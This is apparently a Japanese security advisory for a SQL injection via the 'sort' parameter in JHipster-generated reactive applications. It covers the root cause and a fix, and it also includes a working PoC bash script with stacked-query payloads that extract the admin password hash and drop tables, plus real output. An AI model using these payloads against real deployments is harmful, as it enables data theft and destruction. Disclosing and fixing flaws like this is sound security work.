JHipster: JHipsterで生成されたReactive(WebFlux + R2DBC)アプリケーションにおけるSQLインジェクション
# JHipsterで生成されたReactive(WebFlux + R2DBC)アプリケーションにおけるSQLインジェクション
- **製品**: jhipster/generator-jhipster (npmパッケージ `generator-jhipster`)
- **影響を受けるバージョン**: v7.0.0からv9.2.0
- **コンポーネント**: 生成されたReactiveアプリケーションのコード、テンプレート `EntityManager_reactive.java.ejs`
- **報告日**: 2026年8月29日
---
## 1. 概要
`generator-jhipster`によって生成されるすべてのReactive(Spring WebFlux + Spring Data R2DBC + SQL)アプリケーションにおいて、ページネーションされたエンティティリストのエンドポイント(`GET /api/<entity>?sort=...`)にSQLインジェクションの脆弱性があります。`sort`リクエストパラメータは、ユーザーからの入力をそのまま受け取り、SQLの`ORDER BY`句に引用符なしで連結されます。生成されたクエリにバインドパラメータがないため、R2DBCドライバはこれを**シンプルなクエリプロトコル**で実行し、結果として`;`で区切られた追加のステートメントがデータベースに対して実行されます。
認証された権限の低いユーザー(デフォルトの自己登録フローで取得されたアカウントを含む)は、**任意のSQLを実行できる**ため、すべてのテーブル(`jhi_user`のパスワードハッシュを含む)を読み取ったり、データを変更または削除したり、テーブルを削除したりすることが可能です(完全なC/I/Aへの影響)。デフォルトの開発データベース(H2)およびデフォルトのプロダクションデータベース(PostgreSQL 16)で再現されました。
JPA(非Reactive)のパスは**影響を受けません**。Spring Data JPAは、エンティティメタモデルに対してソートプロパティ名を検証します。NoSQLバックエンドは、今回の問題の範囲外です。
## 2. 根本原因
ジェネレータのテンプレート
`generators/spring-boot/generators/data-relational/templates/src/main/java/_package_/repository/EntityManager_reactive.java.ejs`(240行から253行)は、`createOrderByFields(...)`を書き込み、これによりユーザーが提供したソートプロパティが、引用符なしの`SqlIdentifier`として直接レンダリングされます。
```java
private static Collection<? extends OrderByField> createOrderByFields(Table table, Sort sortToUse) {
List<OrderByField> fields = new ArrayList<>();
for (Sort.Order order : sortToUse) {
String propertyName = order.getProperty(); // 攻撃者によって制御される (?sort=...)
OrderByField orderByField = !propertyName.contains(".")
? OrderByField.from(table.column(propertyName).as(EntityManager.ALIAS_PREFIX + propertyName))
: createOrderByField(propertyName);
fields.add(order.isAscending() ? orderByField.asc() : orderByField.desc());
}
return fields;
}
```
生成されたアプリケーションは、デフォルトの命名規則で `SqlRenderer.create(factory.createRenderContext())` を設定するため、引用符で囲まれていない識別子は**そのまま**レンダリングされます。`?sort=id;DROP TABLE product;--` の場合、エイリアスは以下のようにレンダリングされます。
```sql
SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_id;DROP TABLE product;-- ASC LIMIT 20 OFFSET 0
```
## 3. 検証
このリポジトリから実際のアプリケーションが生成され (`git clone` で送信されたソースコード、バージョン 9.2.0)、Spring Boot 4.1.1 でビルドされ、H2 と PostgreSQL 16 で実行されました。
| ステップ | H2 (開発用デフォルト) | PostgreSQL 16 (本番環境用デフォルト) |
| ------------------------------------------------------------------------------------------------ | --------------------------------------------------------------------------------------- | -------------------------------------------------- |
| エラーの引き金となるパラメータ `sort=name%27` | 500エラー; `ORDER BY e_name` の部分に生の `'` が含まれたSQLがエコーされます。 | 500エラー; r2dbc-postgresql の解析エラーにより、完全なSQLがエコーされます。 |
| `;UPDATE product SET name=(SELECT password_hash FROM jhi_user ...);--` を使用した管理者ハッシュの不正取得 | HTTP 200; `name` が `$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC` に変更されます。 | HTTP 200; 同じハッシュが読み込まれます。 |
| `;DROP TABLE product;--` | HTTP 200; テーブルが削除され、その後のリスト表示 → 500エラー | HTTP 200; テーブルが削除され、その後のリスト表示 → 500エラー |
すべてのペイロードは、`ROLE_USER` のみが含まれるトークンを使用して実行されます。 **他の脆弱性や特権アカウントは必要ありません。**
## 4. 影響
CWE-89 SQLインジェクション。 機密性 (任意のデータの読み取り、`jhi_user` のパスワードハッシュを含む)、完全性 (任意のデータの書き込み)、可用性 (テーブルの削除)。 影響を受けるコードは、デフォルトで `reactive: true` + SQLデータベース + ページネーション機能 (モノリスおよびマイクロサービスにおけるデフォルト設定) を使用する場合に生成されます。 アプリケーションは、修正後、再生成する必要があります。
## 5. 修正の推奨事項
`EntityManager.createOrderByFields`において、各ソートプロパティをエンティティの永続メタモデルに対して検証します(既知のカラム名のみを許可)。もし一致しない場合は、引用符で囲まれた`SqlIdentifier`として扱います。生のプロパティ文字列をSQLに連結することは絶対に避けてください。この修正をジェネレーターに組み込み、影響を受けるアプリケーションに対して、再生成を推奨します。
---
## 付録
### A. 環境構築
```bash
# 0. 準備:JDK 21、Node >= 20、Docker(PostgreSQLのみ)、Maven(オプション)、curl、python3
java -version # openjdk 21.x
node --version # v20+
# 1. ジェネレーターをクローン
git clone https://github.com/jhipster/generator-jhipster.git
cd generator-jhipster
git checkout <affected-tag> # 例:v9.2.0 (またはmainを使用)。フォルダ名はgenerator-jhipsterでなければなりません。
npm install --no-audit --no-fund # 約778パッケージ
npm link # jhipsterコマンドが利用可能になる
jhipster --version # 期待される値:9.2.0
# 2. ターゲットアプリケーションを生成(リアクティブ + SQL + JWT + ページネーション機能付きエンティティ)
mkdir -p /tmp/pocwebflux && cd /tmp/pocwebflux
cat > .yo-rc.json <<'EOF'
{ "generator-jhipster": {
"applicationType": "monolith", "baseName": "pocwebflux",
"packageName": "com.mycompany.pocwebflux", "authenticationType": "jwt",
"databaseType": "sql", "devDatabaseType": "h2Memory", "prodDatabaseType": "postgresql",
"reactive": true, "skipClient": true, "buildTool": "maven",
"enableTranslation": false, "jhipsterVersion": "9.2.0" } }
EOF
cat > product.jdl <<'EOF'
entity Product { name String required, price BigDecimal }
paginate Product with pagination
EOF
export JAVA_HOME=$HOME/.sdkman/candidates/java/21.0.7-amzn
jhipster --no-insight --force # -> "Spring Boot 4.1.1 application generated successfully."
jhipster jdl product.jdl --no-insight --force
```
# 生成されたアプリケーションに脆弱なコードが含まれているかを確認します(すべて一致する必要があります)。
grep -n "OrderByField.from(table.column" src/main/java/com/mycompany/pocwebflux/repository/EntityManager.java
grep -n "findAllBy(Pageable" src/main/java/com/mycompany/pocwebflux/repository/ProductRepositoryInternalImpl.java
grep -n "Pageable pageable" src/main/java/com/mycompany/pocwebflux/web/rest/ProductResource.java
# 3a. H2データベース(デフォルトの開発用データベース)で実行
./mvnw -DskipTests package # -> BUILD SUCCESS
setsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \
--spring.profiles.active=dev --server.port=18080 > app-dev.log 2>&1 < /dev/null &
curl -s http://127.0.0.1:18080/management/health # -> {"groups":[...],"status":"UP"}
BASE_URL=http://127.0.0.1:18080 bash <path-to>/poc/poc.sh
# 3b. PostgreSQL 16データベース(デフォルトの運用用データベース)で実行
docker run -d --name jh-pg16 -e POSTGRES_USER=pocwebflux -e POSTGRES_PASSWORD=secret \
-e POSTGRES_DB=pocwebflux -p 15432:5432 postgres:16
./mvnw -Pprod -DskipTests package # prod DBドライバはMavenのprodプロファイルに含まれています
SECRET=$(python3 -c "import base64,os;print(base64.b64encode(os.urandom(64)).decode())")
setsid nohup $JAVA_HOME/bin/java -jar target/pocwebflux-0.0.1-SNAPSHOT.jar \
--spring.profiles.active=prod --server.port=18081 \
--spring.r2dbc.url=r2dbc:postgresql://127.0.0.1:15432/pocwebflux \
--spring.r2dbc.username=pocwebflux --spring.r2dbc.password=secret \
--spring.liquibase.url=jdbc:postgresql://127.0.0.1:15432/pocwebflux \
--spring.liquibase.user=pocwebflux --spring.liquibase.password=secret \
--jhipster.security.authentication.jwt.base64-secret=$SECRET > app-prod.log 2>&1 < /dev/null &
# API経由で2つの製品を登録します(prodにはサンプルデータがありません)、その後、poc.shを実行します。
BASE_URL=http://127.0.0.1:18081 bash <path-to>/poc/poc.sh
docker rm -f jh-pg16
```
### B. PoCスクリプト
```bash
#!/usr/bin/env bash
# 使い方: BASE_URL=http://host:port ./poc.sh (シードされたユーザー/パスワードを使用します。JWT=... を使用してトークンを再利用します)
set -euo pipefail
BASE_URL="${BASE_URL:-http://127.0.0.1:18080}"; JWT="${JWT:-}"; LOGIN="${LOGIN:-user}"; PASSWORD="${PASSWORD:-user}"
if [ -z "$JWT" ]; then
JWT=$(curl -s -X POST "$BASE_URL/api/authenticate" -H 'Content-Type: application/json' \
-d "{\"username\":\"$LOGIN\",\"password\":\"$PASSWORD\",\"rememberMe\":false}" \
| python3 -c "import sys,json;print(json.load(sys.stdin)['id_token'])")
fi
AUTH="Authorization: Bearer $JWT"
echo "== 2) 基本動作 =="
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc&page=0&size=2" | head -c 300; echo
echo "== 3) エラーチェック: sort=name' =="
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=name%27" \
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(d.get("detail"))' || true
echo "== 4) 管理者 bcrypt ハッシュの取得 =="
PAYLOAD="id%3BUPDATE%20product%20SET%20name%3D(SELECT%20password_hash%20FROM%20jhi_user%20ORDER%20BY%20login%20LIMIT%201)%20WHERE%20id%3D(SELECT%20min(id)%20FROM%20product)%3B--"
curl -s -o /dev/null -w " injection HTTP %{http_code}\n" -H "$AUTH" "$BASE_URL/api/products?sort=$PAYLOAD"
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc&page=0&size=2" \
| python3 -c "import sys,json;[print(' id=%s name=%s'%(p['id'],p['name'])) for p in json.load(sys.stdin)]"
echo "== 5) テーブル product の削除 =="
PAYLOAD="id%3BDROP%20TABLE%20product%3B--"
curl -s -o /dev/null -w " injection HTTP %{http_code}\n" -H "$AUTH" "$BASE_URL/api/products?sort=$PAYLOAD"
curl -s -H "$AUTH" "$BASE_URL/api/products?sort=id,asc" \
| python3 -c 'import sys,json;d=json.load(sys.stdin);print(d.get("status"));print(str(d.get("detail"))[:90])' || true
```
### C. 実際の出力 (H2 で実行、2026-08-29、`poc.sh` の完全な実行)
```
== ターゲット: http://127.0.0.1:18080 ==
== 1) 低権限のトークンを取得 (user/user) ==
== 2) ベーライン: 無害なページネーションによる読み込み (sort=id,asc) ==
[ { "id" : 1, "name" : "eke below forceful", "price" : 3151.02 }, { "id" : 2, ... } ]
== 3) エラーの検証: sort=name' -> raw quote が ORDER BY に到達し、エスケープされていない ==
status: 500
detail: SQLステートメントの構文エラー: "SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price
FROM product e ORDER BY e_name[*]' ASC OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY"; SQLステートメント:
SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e ORDER BY e_name' ASC
OFFSET 0 ROWS FETCH FIRST 20 ROWS ONLY [42000-240]
== 4) 任意のSQL: jhi_user.password_hash (admin) を読み取り可能なフィールドに抽出 ==
インジェクションリクエスト HTTP 200
読み出し結果: 最初の製品の 'name' が、admin の bcrypt ハッシュと一致:
id=1 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC
id=2 name=notwithstanding
== 5) 任意のSQL: product テーブルを削除 (availability) ==
インジェクションリクエスト HTTP 200
インジェクション後、再度製品のリストを表示:
status: 500
detail: テーブル "PRODUCT" が見つかりません; SQLステートメント: SELECT COUNT(*) FROM product [42102-240]
== 完了。データベースが変更された/インジェクションされたSQLによってテーブルが削除された。 ==
```
<img width="1280" height="1519" alt="evidence-01-h2" src="https://github.com/user-attachments/assets/daceef8d-60ae-4edc-ab3e-c1020e1b0d77" />
### D. 実際の出力 (PostgreSQL 16 実行)
```
== 3) エラーの検証: sort=name' ==
status: 500
detail: SQLを解析できません: クォートが閉じられていません (index 88 でクォートが開いている) ステートメント:
SELECT e.id AS e_id, e.name AS e_name, e.price AS e_price FROM product e
ORDER BY e_name' ASC LIMIT 20 OFFSET 0
== 4) jhi_user.password_hash (admin) を読み取り可能なフィールドに抽出 ==
インジェクションリクエスト HTTP 200
id=1500 name=$2a$10$gSAhZrxMllrbgj/kkK9UceBPpChGWJA7SYIb1Mqo.n5aNLq1/oRrC
id=1501 name=beta widget
```
== 5) DROP TABLE product ==
インジェクションリクエスト HTTP 200 -> その後のリスト: ステータス 500 "データアクセス中にエラーが発生しました"
```
<img width="1280" height="891" alt="evidence-02-postgresql" src="https://github.com/user-attachments/assets/61cf5bf4-d957-4969-80e3-06d9626b1142" />
影響を受けるパッケージ:
- npm (JavaScript) generator-jhipster: 影響範囲は 7.0.0 以降、9.4.0 未満。9.4.0 で修正済み。
```